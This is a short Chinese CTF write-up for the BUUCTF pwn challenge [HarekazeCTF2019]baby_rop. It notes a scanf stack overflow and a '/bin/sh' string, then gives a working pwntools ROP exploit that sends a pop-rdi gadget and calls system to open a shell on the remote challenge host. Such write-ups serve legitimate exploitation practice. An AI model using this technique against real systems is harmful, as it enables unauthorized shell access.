BUUCTF-PWN-[HarekazeCTF2019]baby_rop

checksec

image-20211206194026085

IDA

image-20211206194313963

scanf可以溢出

image-20211206194554078

查看string

image-20211206194415330

发现binsh

思路

先覆盖变量v4,溢出到rdi,然后带上binsh参数调用system函数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('node4.buuoj.cn', 25780)

rdi = 0x400683
binsh_addr = 0x601048
sys_addr = 0x400490

payload = flat(b'a' * (0x10 + 8), p64(rdi), p64(binsh_addr), p64(sys_addr))

p.sendline(payload)

p.interactive()

结果

注意:这题的flag在home下的文件夹babyrop里面

image-20211206203305583